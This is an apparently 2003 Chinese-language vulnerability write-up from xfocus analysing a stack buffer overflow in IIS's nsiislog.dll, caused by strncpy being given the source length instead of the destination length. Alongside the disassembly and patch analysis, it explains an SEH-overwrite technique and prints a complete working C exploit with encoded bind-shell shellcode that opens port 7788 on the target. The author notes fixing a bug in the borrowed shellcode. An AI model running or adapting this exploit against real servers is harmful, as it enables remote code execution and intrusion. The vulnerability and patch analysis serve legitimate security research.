IIS的NSIISLOG.DLL溢出问题分析
创建时间:2003-07-02 更新时间:2003-07-02
文章属性:原创
文章提交: flashsky (flashsky1_at_sina.com)
转摘请注明作者和安全焦点
作者:FLASHSKY
SITE: WWW.XFOCUS.NET, WWW.SHOPSKY.COM
邮件:flashsky@xfocus.org
作者单位:启明星辰积极防御实验室
实行积分制了,写点垃圾文章赚点子啊,大家别拿鸡蛋砸我。
溢出漏洞原因分析:
导致溢出的代码就在NSIISLOG.DLL中,如下
.text:40F01B08 mov ecx, esi
.text:40F01B0A call dword ptr [eax+8]
.text:40F01B0D push eax <----------------计算的POST数据长度
.text:40F01B0E mov ecx, ebx
.text:40F01B10 push [ebp+arg_4] <----------------POST数据的BUFFER
.text:40F01B13 call sub_40F01EEE
#########################################################################################################
sub_40F01EEE函数内容:
.text:40F01EEE push ebp
.text:40F01EEF mov ebp, esp
.text:40F01EF1 mov eax, 1104h
.text:40F01EF6 call sub_40F02B80 〈-----------------分配缓冲区,按含ESP-0X1104的调用
.text:40F01EFB push ebx
.text:40F01EFC push esi
.text:40F01EFD mov ebx, [ebp+arg_4]
.text:40F01F00 push edi 〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度
.text:40F01F01 mov edi, [ebp+arg_8] 这里却传成了POST数据的长度
.text:40F01F04 or ecx, 0FFFFFFFFh
.text:40F01F07 xor eax, eax
.text:40F01F09 push ebx
.text:40F01F0A repne scasb
.text:40F01F0C push [ebp+arg_0] 〈----------------------我们POST的数据
.text:40F01F0F lea eax, [ebp+var_1104]
.text:40F01F15 not ecx
.text:40F01F17 dec ecx
.text:40F01F18 push eax 〈------------------------被溢出的缓冲区
.text:40F01F19 mov [ebp+var_4], ecx
.text:40F01F1C call ds:strncpy 〈-----------------------导致溢出的调用
##############################################################################################################
溢出原因:
strncpy这个调用本来是安全函数调用的,原形是:
strncpy(BUF1,BUF2,BUF1MAXLEN)
但是在这个调用中,调用者误使这个函数的调用成如下方式了:
strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。
我们可以计算出返回地址的覆盖点是:
0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。
溢出攻击实现:
但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。
另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。
那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常):
考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。
下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。
这里再给大家分析一下为什么溢出异常结构之后要找CALL(JMP)EBX的原理
首先异常结构链结构如下
DWORD PNEXT 下一个异常结构地址指针
DWORD FUNADDR 当前处理函数入口地址
在KiUserExceptionDispatcher中的处理是如下方式的:
77f8e4ca ff7304 push dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c <-------------EBX+4就是当前异常处理函数调用地址,EBX就是异常结构地址,由于可能要处理下一个异常链,所以EBX就保存了下来未做修改,这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL(JMP)EBX就可以到达我们可以控制的一个内存区域。
77f8e4cd 8d45f0 lea eax,[ebp-0x10]
77f8e4d0 50 push eax
77f8e4d1 ff750c push dword ptr [ebp+0xc]
77f8e4d4 53 push ebx
77f8e4d5 56 push esi
77f8e4d6 e83affffff call ntdll!RtlSetBits+0x305 (77f8e415)
###############################################################################
77f8e42f ff7514 push dword ptr [ebp+0x14]
77f8e432 ff7510 push dword ptr [ebp+0x10]
77f8e435 ff750c push dword ptr [ebp+0xc]
77f8e438 ff7508 push dword ptr [ebp+0x8]
77f8e43b 8b4d18 mov ecx,[ebp+0x18] <-------------这里就是溢出的异常结构地址
77f8e43e ffd1 call ecx {nsiislog+0x135c (40f0135c)}
###############################################################################
这里需要注意的是:找到的返回地址是在[ebx+4]上,而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过
EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,使得只能连上无法执行指令,已修改),执行以后TELNET IP 7788
###############################################################################
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
char *hostName = NULL;
unsigned char shellcode[]=
"/x90/xeb/x03/x5d/xeb/x05/xe8/xf8/xff/xff/xff/x83/xc5/x15/x90/x90"
"/x90/x8b/xc5/x33/xc9/x66/xb9/x10/x03/x50/x80/x30/x97/x40/xe2/xfa"
"/x7e/x8e/x95/x97/x97/xcd/x1c/x4d/x14/x7c/x90/xfd/x68/xc4/xf3/x36"
"/x97/x97/x97/x97/xc7/xf3/x1e/xb2/x97/x97/x97/x97/xa4/x4c/x2c/x97"
"/x97/x77/xe0/x7f/x4b/x96/x97/x97/x16/x6c/x97/x97/x68/x28/x98/x14"
"/x59/x96/x97/x97/x16/x54/x97/x97/x96/x97/xf1/x16/xac/xda/xcd/xe2"
"/x70/xa4/x57/x1c/xd4/xab/x94/x54/xf1/x16/xaf/xc7/xd2/xe2/x4e/x14"
"/x57/xef/x1c/xa7/x94/x64/x1c/xd9/x9b/x94/x5c/x16/xae/xdc/xd2/xc5"
"/xd9/xe2/x52/x16/xee/x93/xd2/xdb/xa4/xa5/xe2/x2b/xa4/x68/x1c/xd1"
"/xb7/x94/x54/x1c/x5c/x94/x9f/x16/xae/xd0/xf2/xe3/xc7/xe2/x9e/x16"
"/xee/x93/xe5/xf8/xf4/xd6/xe3/x91/xd0/x14/x57/x93/x7c/x72/x94/x68"
"/x94/x6c/x1c/xc1/xb3/x94/x6d/xa4/x45/xf1/x1c/x80/x1c/x6d/x1c/xd1"
"/x87/xdf/x94/x6f/xa4/x5e/x1c/x58/x94/x5e/x94/x5e/x94/xd9/x8b/x94"
"/x5c/x1c/xae/x94/x6c/x7e/xfe/x96/x97/x97/xc9/x10/x60/x1c/x40/xa4"
"/x57/x60/x47/x1c/x5f/x65/x38/x1e/xa5/x1a/xd5/x9f/xc5/xc7/xc4/x68"
"/x85/xcd/x1e/xd5/x93/x1a/xe5/x82/xc5/xc1/x68/xc5/x93/xcd/xa4/x57"
"/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x13/x5e/xe3/x9e/xc5/xc1/xc4"
"/x68/x85/xcd/x3c/x75/x7f/xd1/xc5/xc1/x68/xc5/x93/xcd/x1c/x4f/xa4"
"/x57/x3b/x13/x57/xe2/x6e/xa4/x5e/x1d/x99/x17/x6e/x95/xe3/x9e/xc5"
"/xc1/xc4/x68/x85/xcd/x3c/x75/x70/xa4/x57/xc7/xd7/xc7/xd7/xc7/x68"
"/xc0/x7f/x04/xfd/x87/xc1/xc4/x68/xc0/x7b/xfd/x95/xc4/x68/xc0/x67"
"/xa4/x57/xc0/xc7/x27/x9b/x3c/xcf/x3c/xd7/x3c/xc8/xdf/xc7/xc0/xc1"
"/x3a/xc1/x68/xc0/x57/xdf/xc7/xc0/x3a/xc1/x3a/xc1/x68/xc0/x57/xdf"
"/x27/xd3/x1e/x90/xc0/x68/xc0/x53/xa4/x57/x1c/xd1/x63/x1e/xd0/xab"
"/x1e/xd0/xd7/x1c/x91/x1e/xd0/xaf/xa4/x57/xf1/x2f/x96/x96/x1e/xd0"
"/xbb/xc0/xc0/xa4/x57/xc7/xc7/xc7/xd7/xc7/xdf/xc7/xc7/x3a/xc1/xa4"
"/x57/xc7/x68/xc0/x5f/x68/xe1/x67/x68/xc0/x5b/x68/xe1/x6b/x68/xc0"
"/x5b/xdf/xc7/xc7/xc4/x68/xc0/x63/x1c/x4f/xa4/x57/x23/x93/xc7/x56"
"/x7f/x93/xc7/x68/xc0/x43/x1c/x67/xa4/x57/x1c/x5f/x22/x93/xc7/xc7"
"/xc0/xc6/xc1/x68/xe0/x3f/x68/xc0/x47/x14/xa8/x96/xeb/xb5/xa4/x57"
"/xc7/xc0/x68/xa0/xc1/x68/xe0/x3f/x68/xc0/x4b/x9c/x57/xe3/xb8/xa4"
"/x57/xc7/x68/xa0/xc1/xc4/x68/xc0/x6f/xfd/xc7/x68/xc0/x77/x7c/x5f"
//这里修改了一下错误的SHELLCODE,原来的是 /xc0/x6b/xa4/x5e/xc6/xc7,
//把WRITEFILE的最后2个参数传反了,导致写入管道失败,这样就无法传入命令
// 原来的: PUSH EDI(是一个地址) 修改后: XOR ECX ECX
// XOR ECX ECX PUSH ECX
// PUSH ECX PUSH EDI
// PUSH EAX (收到的缓冲字节数) PUSH EAX
// PUSH ESI (缓冲指针) PUSH ESI
// PUSH [EDX-54] PUSH [EDX-54]
// CALL WRITEFILE CALL WRITEFILE
// 会导致写入管道失败
"/xa4/x57/xc7/x23/x93/xc7/xc1/xc4/x68/xc0/x6b/xa4/x5e/xc6/xc0/xc7"
"/xc1/x68/xe0/x3b/x68/xc0/x4f/xfd/xc7/x68/xc0/x77/x7c/x3d/xc7/x68"
"/xc0/x73/x7c/x69/xcf/xc7/x1e/xd5/x65/x54/x1c/xd3/xb3/x9b/x92/x2f"
"/x97/x97/x97/x50/x97/xef/xc1/xa3/x85/xa4/x57/x54/x7c/x7b/x7f/x75"
"/x6a/x68/x68/x7f/x05/x69/x68/x68/xdc/xc1/x70/xe0/xb4/x17/x70/xe0"
"/xdb/xf8/xf6/xf3/xdb/xfe/xf5/xe5/xf6/xe5/xee/xd6/x97/xdc/xd2/xc5"
"/xd9/xd2/xdb/xa4/xa5/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xfe/xe7/xf2"
"/x97/xd0/xf2/xe3/xc4/xe3/xf6/xe5/xe3/xe2/xe7/xde/xf9/xf1/xf8/xd6"
"/x97/xd4/xe5/xf2/xf6/xe3/xf2/xc7/xe5/xf8/xf4/xf2/xe4/xe4/xd6/x97"
"/xd4/xfb/xf8/xe4/xf2/xdf/xf6/xf9/xf3/xfb/xf2/x97/xc7/xf2/xf2/xfc"
"/xd9/xf6/xfa/xf2/xf3/xc7/xfe/xe7/xf2/x97/xd0/xfb/xf8/xf5/xf6/xfb"
"/xd6/xfb/xfb/xf8/xf4/x97/xc0/xe5/xfe/xe3/xf2/xd1/xfe/xfb/xf2/x97"
"/xc5/xf2/xf6/xf3/xd1/xfe/xfb/xf2/x97/xc4/xfb/xf2/xf2/xe7/x97/xd2"
"/xef/xfe/xe3/xc7/xe5/xf8/xf4/xf2/xe4/xe4/x97/x97/xc0/xc4/xd8/xd4"
"/xdc/xa4/xa5/x97/xe4/xf8/xf4/xfc/xf2/xe3/x97/xf5/xfe/xf9/xf3/x97"
"/xfb/xfe/xe4/xe3/xf2/xf9/x97/xf6/xf4/xf4/xf2/xe7/xe3/x97/xe4/xf2"
"/xf9/xf3/x97/xe5/xf2/xf4/xe1/x97/x95/x97/x89/xfb/x97/x97/x97/x97"
"/x97/x97/x97/x97/x97/x97/x97/x97/xf4/xfa/xf3/xb9/xf2/xef/xf2/x97"
"/x68/x68/x68/x68";
void main (int argc, char **argv)
{
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN addr_in;
unsigned char buf[1000];
unsigned char testbuf[0x10000];
int len;
char t1[]="POST /scripts/nsiislog.dll HTTP/1.1/r/nHost: 192.168.10.210/r/nContent-length: 65536/r/n/r/n";//4364
if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d/n",WSAGetLastError());
return;
}
hostName = argv[1];
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(80);
addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
memset(testbuf,0,0x10000);
if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d/n",WSAGetLastError());
return;
}
if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Connect failed.Error:%d",WSAGetLastError());
return;
}
len=sizeof(t1)-1;
memcpy(testbuf,t1,len);
send(s,testbuf,len,0);
recv(s,buf,1000,0);
memset(testbuf,'A',65536);//4364
len=65536;//4364;
*(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp过覆盖的异常地址
*(DWORD *)(testbuf+0x2708)=0x40F0135c;//覆盖异常结构的值
memcpy(testbuf+0x270c,shellcode,sizeof(shellcode));
send(s,testbuf,len,0);
closesocket (s);
WSACleanup();
return;
}
########################################################################################################################
补丁机理:
WindowsMedia41-KB822343-x86-CHS.exe补丁补掉了这个漏洞,如下:
.text:40F01FCA mov eax, 1100h
.text:40F01FCF call sub_40F02D30
.text:40F01FD4 push ebx
.text:40F01FD5 push esi
.text:40F01FD6 push edi
.text:40F01FD7 mov edi, [ebp+arg_8]
.text:40F01FDA or ecx, 0FFFFFFFFh
.text:40F01FDD xor eax, eax
.text:40F01FDF repne scasb
.text:40F01FE1 mov esi, [ebp+arg_4]
.text:40F01FE4 mov eax, 0FFFh 〈-----------------------强制EAX=0XFFF(小于分配的空间0X1100);
.text:40F01FE9 not ecx
.text:40F01FEB dec ecx
.text:40F01FEC cmp esi, eax 〈------------------------比较是否超过
.text:40F01FEE mov ebx, ecx
.text:40F01FF0 jbe short loc_40F01FF4
.text:40F01FF2 mov esi, eax 〈----------------------STRNCPY的第三个参数不会超过0XFFF,这样就不会溢出
.text:40F01FF4
.text:40F01FF4 loc_40F01FF4: ; CODE XREF: sub_40F01FC7+29j
.text:40F01FF4 push esi
.text:40F01FF5 lea eax, [ebp+var_1100]
.text:40F01FFB push [ebp+arg_0]
.text:40F01FFE push eax
.text:40F01FFF call ds:strncpy